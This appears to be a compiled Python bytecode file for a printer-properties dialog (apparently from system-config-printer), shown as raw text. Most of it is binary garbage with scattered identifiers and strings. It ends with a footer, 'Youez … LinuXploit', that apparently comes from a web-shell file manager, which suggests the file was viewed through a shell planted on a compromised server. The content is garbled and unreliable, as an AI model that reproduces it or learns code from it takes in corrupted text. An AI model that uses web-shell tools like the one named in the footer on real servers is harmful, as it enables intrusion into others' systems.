��)r�r�r�r�zTrimming %s from %scSs||||fSr>r)�colorr5r��levelrrrr���z<PrinterPropertiesDialog.updateMarkerLevels.<locals>.<lambda>z0Marker levels are not reported for this printer.�r�Tr�Fr�r�r�r�r!)�spacingz%d%%r�)(r�r�r�r�r�rr%r�r?r{�	TypeErrorr,rE�mapr�rr�rOrdrr�Labelr�
set_line_wrapr�r�Grid�set_column_homogeneous�set_row_homogeneous�set_column_spacing�set_row_spacingr��localizeMarkerName�Box�gtkinklevel�GtkInkLevelrf�set_width_charsr�r�)r-r�r�marker_info�num_markers�attrr~rF�markers�can_refreshr��colsr��gridr�r5�marker_typer��localized_namer�r8�vbox�subhbox�inklevelrr�rr��s�����

����
�










z*PrinterPropertiesDialog.updateMarkerLevelscCrs)N�ReportLevelsrtrurrrr	6r�z9PrinterPropertiesDialog.on_btnRefreshMarkerLevels_clickedcCs�|j}|j�dg�}t�tt�}d}|D]>}|dkrn7d}|�d�}t�|j	||j
�}|��dkr6tj}ntjj
|��}|�|d|�|��\}	}
|�|d|
�q|j�|�d}|r_d}|j�|�dS)Nzprinter-state-reasonsF�noneT�pausedrr�)r�r�r?rrrr�statereason�StateReasonr5r*�
get_reason�STOCK_MEDIA_PAUSE�
LEVEL_ICON�	get_levelr�get_descriptionrPrrQrN)r-r��reasonsr4�any�reasonr��rr2�titler�rrrrr�9s*
z*PrinterPropertiesDialog.updateStateReasonsc	GsN|�|d�}tj��}z|�|dd�}|�d|�WdStjy&YdSw)Nrr��pixbuf)r�r�	IconThemer3�	load_icon�set_propertyr�GError)	r-r1r/r7r�r�r2�themer�rrrrTs
�z5PrinterPropertiesDialog.set_printer_state_reason_iconcGs|�d|�|d��dS)Nr�r�)r�r�)r-r1r/r7r�r�rrrr]r�z5PrinterPropertiesDialog.set_printer_state_reason_textcCs\td�|j}|j�|j�|j�|j�|j�|j	t
d��}|j�dd�}t|�dkr2|d|7}|j
�|�t|j�dkr�td�|j�|j�|j�|j�|j�|j�|�|j|j|jtj�|�|j|j|jtj�|�|j|j|j tj!�|�|j"|j#|j$tj%�|j&�|j'�|j(�|j'�|�)|j*�|�+�|�,�|�-�dSdS)Nzupdate printer properties�Unknownzprinter-state-messager!rz - z.no changes yet: full printer properties update).r,r�r-r�r�r*�make_and_model�printer_statesr?�staterr�r{r,r�r1r{r�r2r�r3r�rr9�job_sheets_supportedr�rx�
job_sheetsr:r�r;�error_policy_supportedr��printer_error_policyr<�op_policy_supportedr��printer_op_policyr=r�r>r�r�r�r�r�)r-r�r�r�rrrr<`sT
������z/PrinterPropertiesDialog.updatePrinterPropertiesc	Cs�|j�|j�}|dkr|j�|�|j��D]}|j�|�q|j��D]}|j�|�q$|j�|j�dkrA|j�	|j|j
|j�|jsh|j�|j
�}|dkrU|j�|�|j�|j�}|dkrf|j�|�dS|j}|��|j��d}|jjD�]}|jdkr�d}|j}|j�|j
�}|dkr�|j�	|j
tj|jd�|j�|j}	nBtj�|j�}
tjdt�|
�d�}|���d�|�tjj�|j� |ddd�tj!�"ddd	d	�}|�#d
dd
d�|�$|�|j
}	t�%�}|�&d
�|�'d
�|�$|�d}
d|_(|_)t*|j+�D]�\}}|j,dk�r�q|
d
7}
t-||||	d�}|�.|j/d|d
d
�t�0�}|j1�r[tj!�"ddd	d	�}|�#dddd
�|�$|j1�|�.|d
|d
d
�|�.|d|d
d
�n	|�.|d
|dd
�|� |j2ddd�||j+|j,<|j2�3|�|j,dk�r�||_(�q|j,dk�r�||_)�qqz|�s�|j�|j
�}|dk�r�|j�|�|j+�4�D]}|�5�}|�r�|j6�$|��q�|j
�7�|j�7�dS)Nr�F�InstallableOptionsTr�r�rr�g�?r�r��
PageRegionr�)r�r��	InputSlot�
ManualFeed)8r'r�rIr�rEr�r�rHrF�insert_pagerGrr�rD�markDefaultsrL�optionGroupsr5rr�r�rCrxr?�Frame�html�escape�get_label_widget�set_use_markup�set_shadow_type�
ShadowTyperr�	Alignmentr��set_paddingr�r�r�r�r�r�rzr �keywordrr��conflictIconr�r�r�r�r2�checkConflictsr�r�)r-r5r�r�rr��hasInstallableOptions�group�	containerr��
group_name�framer�r�r}r;�o�hbox�ar�rrrr��s��


�




��
�
z*PrinterPropertiesDialog.fillPrinterOptionscCs�|j�|�|j�|�|j�|j�}|dkr|j�|�|j�|j�dkr1|j�|j|j	|j
�|j��}|j
��}|��|��t|j���}|��|D]"}||jjkrr||jjvre|�|f�qP|jjtj@sr|�|f�qPdS)Nr�)rMr�rNr'r�rFr�rIr�rJrrKr�rLrrEr)�get_printersr�r�r5r#rr�r�CUPS_PRINTER_CLASS)r-r�r��
model_members�model_not_members�namesr5rrrr�s0�

��z(PrinterPropertiesDialog.fillClassMemberscCsNt�|j|j�t�|j�|jjkr|j�|j�n|j�	|j�|�
�dSr>)r]�moveClassMembersrLrKrr�r#r�r�r�rerurrr�on_btnClassAddMember_clicked��z4PrinterPropertiesDialog.on_btnClassAddMember_clickedcCsNt�|j|j�t�|j�|jjkr|j�|j�n|j�	|j�|�
�dSr>)r]rrKrLrr�r#r�r�r�rerurrr�on_btnClassDelMember_clicked'rz4PrinterPropertiesDialog.on_btnClassDelMember_clickedcCsB|o|jduo|jjpt|j�}|j|jfD]}|�|�qdSr>)r�rcr#r�r0r/r�)r-�	sensitiver(rrr�sensitise_new_printer_widgets0s�����z5PrinterPropertiesDialog.sensitise_new_printer_widgetscCrs�NF�r
r<rrr�desensitise_new_printer_widgets9r�z7PrinterPropertiesDialog.desensitise_new_printer_widgetscCsNt|j�|��|jjd|jj|jj|j|j	|jd�s |�
�t|j�dS)N�device)r�r5rrWr�)r
rr
rV�initr�r�r5rXrYr
rrurrr�on_btnSelectDevice_clicked=s
�z2PrinterPropertiesDialog.on_btnSelectDevice_clickedc	CsRt|j�|��|jjd|jj|j|jj|j	|j
|jd�s"|��t|j�dS)Nr�)r�r�r5rrWr�)
r
rr
rVrr�r�r�r5rXrYr
rrurrr�on_btnChangePPD_clickedJs
�z/PrinterPropertiesDialog.on_btnChangePPD_clickedcCsntd�|��|j�d�r3|jr5z|j��|r!|�|�WdS|��WdStj	y2YdSwdSdS)Nzon_printer_modified calledro)
r,r
rr~r�r;rbr<rr5)r-rAr5�ppd_has_changedrrrr_Xs
��z+PrinterPropertiesDialog.on_printer_modifiedcCs|��dSr>r)r-rArrrr`fr�z/PrinterPropertiesDialog.on_printer_not_modifiedcCs|�d|d�dSr)r_)r-�monr��	eventnamerrrrrNjsz(PrinterPropertiesDialog.on_printer_eventcCsR|j�d�r|jr|jj|kr|j�tjj�|jr%|jj|kr'd|_dSdSdS�Nro)rr~r�r5r�rrprq)r-rr�rrrrOms�
�z*PrinterPropertiesDialog.on_printer_removedcC�^|j�d�r)|jr+|jj|��kr-z|j��|��WdStjy(YdSwdSdSdSr�	rr~r�r5�get_printerr;r<rr5�r-rr�rrrrPu��
��z-PrinterPropertiesDialog.on_state_reason_addedcCrrrrrrrrQ~rz/PrinterPropertiesDialog.on_state_reason_removedcCsdSr>r)r-rrrrrR�sz0PrinterPropertiesDialog.on_cups_connection_errorr>)NNN)T)r!r!TT)FN)K�__name__�
__module__�__qualname__r�SignalFlags�RUN_LAST�__gsignals__r�IPP_PRINTER_IDLEr�IPP_PRINTER_PROCESSING�IPP_PRINTER_BUSY�IPP_PRINTER_STOPPEDr�r�r=rDrJrKrrTrdrrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rer|rrrOrPrirrrvrwrrbr�r�r	r�rrr<r�r�rrr
r
rrr_r`rNrOrPrQrRrrrrr?s���	0



31%	
		

�
i<"

M
`	0q	
		
		r�__main__r�zSpecify queue namer�T�ui�SYSTEM_CONFIG_PRINTER_UIr!cCs|��t��dSr>)r�loop�quit)rArrr�on_dialog_closed�sr*r)6rr�rm�
gi.repositoryrrr��gettext�installrrr�r rr�guirr��
optionwidgetsr�debugr_�errordialogsr��ppdcacher�rSr]r
rrx�
pkgdatadirrZrrrr�sysr{�argv�print�exit�
set_debuggingr�r�r r�MainLoopr(r*�
propertiesrrdrxrrrr�<module>srZ

�

Youez - 2016 - github.com/yon3zu
LinuXploit